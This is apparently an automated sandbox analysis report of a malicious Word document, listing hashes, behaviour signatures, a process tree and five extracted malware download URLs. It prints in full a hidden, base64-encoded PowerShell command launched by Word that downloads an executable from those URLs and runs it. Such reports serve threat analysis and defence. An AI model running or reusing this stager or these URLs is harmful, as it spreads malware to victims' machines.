Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 16:50
General
-
Target
6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c.doc
-
Size
183KB
-
MD5
b7aa98ea14b86ee61b4aab37ee530dbf
-
SHA1
e6b36857fe11c6bc2a0b36dd22e30c58fa03915e
-
SHA256
6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c
-
SHA512
7e29bfebc8bdc682ac8d7d8809b2ef5f2c0b02563a89c5d5ba2922f954c64a61e881e1c1eef425a8c35a91b80273377ed5ad15b0becb2f6e270ac1d06e743f23
-
SSDEEP
3072:Yq2y/GdyLktGDWLS0HZWD5w8K7Nk9SD7IBUjx3T9gOA4ZDyGoHchNQiLZ:Yq2k47tGiL3HJk9SD7bjx3T9gOA4ZDy2
Malware Config
Extracted
http://candsengg.com/wp-admin/ggn/
https://evaskincomplex.com/wp-includes/B48dZmZ/
https://florandina.com/wordpress.bk/lFu77Ma6/
https://concatstring.com/__MACOSX/ByaZo/
https://kashifclothhouse.com/wp-admin/3NLIj/
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SYSTEM32\WISPTIS.EXE"C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;2⤵
- Process spawned unexpected child process
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SYSTEM32\WISPTIS.EXE"C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;2⤵
- Process spawned unexpected child process
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABWAG8AaQBiAGMAbwBwAGUAdgB1AD0AJwBHAHQAcwBhAHUAdgBzAGMAbgAnADsAJABOAGQAZQBqAHIAagBmAGoAZAAgAD0AIAAnADgAOQA3ACcAOwAkAFoAegBtAGMAYQBqAGgAagA9ACcARABvAGUAbgB1AHcAYgBtAGQAJwA7ACQATAByAHoAYwBuAHAAeABsAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBkAGUAagByAGoAZgBqAGQAKwAnAC4AZQB4AGUAJwA7ACQAWQB5AHAAegBpAGsAbwBrAHAAdwB5AGEAPQAnAEQAYwBuAGUAbQBuAGsAbAAnADsAJABNAHgAbwBiAGcAbQBvAHMAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4APQAnAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABzAGUAbgBnAGcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGcAZwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQB2AGEAcwBrAGkAbgBjAG8AbQBwAGwAZQB4AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBCADQAOABkAFoAbQBaAC8AKgBoAHQAdABwAHMAOgAvAC8AZgBsAG8AcgBhAG4AZABpAG4AYQAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALgBiAGsALwBsAEYAdQA3ADcATQBhADYALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBjAGEAdABzAHQAcgBpAG4AZwAuAGMAbwBtAC8AXwBfAE0AQQBDAE8AUwBYAC8AQgB5AGEAWgBvAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AMwBOAEwASQBqAC8AJwAuACIAcwBwAEwAYABJAFQAIgAoACcAKgAnACkAOwAkAEUAdwBnAGEAdgBiAGEAdABjAGkAYQA9ACcAQwByAHkAcwB5AGQAbABmAG4AeABsAHEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB1AGUAdwB0AHAAYwBlAHYAdQBqAG8AIABpAG4AIAAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4AKQB7AHQAcgB5AHsAJABNAHgAbwBiAGcAbQBvAHMALgAiAEQATwB3AGAATgBMAG8AQQBkAEYAaQBgAEwARQAiACgAJABEAHUAZQB3AHQAcABjAGUAdgB1AGoAbwAsACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkAOwAkAFIAeABpAG4AYQBhAHYAbQBlAD0AJwBOAHYAZQB5AHkAYwBkAGcAawBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkALgAiAGwAYABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADYAMQA1ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAFQAIgAoACQATAByAHoAYwBuAHAAeABsAHIAcgApADsAJABOAGoAcQB5AHYAawBiAG4AcwA9ACcAWgBuAHoAdgBoAGUAdQBlAGoAJwA7AGIAcgBlAGEAawA7ACQAQQBvAHoAagBuAG4AZAB2AGQAYwB3AD0AJwBRAGUAbwBqAGQAbgBhAGMAYwB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAbABkAGgAdABxAGMAcwB4AGkAYgA9ACcAWABvAGoAeAB5AGIAYwBpAG4AZQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD58eba7a6be0349d4250dd288bd8f252de
SHA15a29c79f5aa786d4a104839d1c17d3a4dbb8998a
SHA256d481d151e4f305433bcb5d8af998cb33dcaa7aa1f38d1ed844134672be89df98
SHA512607d10a7a0f1c27e676b45da589011629b5f7fa94a37bc9ab37f4f54d726315ae17a718464c56422c9d8eec1a9eedf4af426eda432b891fc6c896ae104766247
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
4KB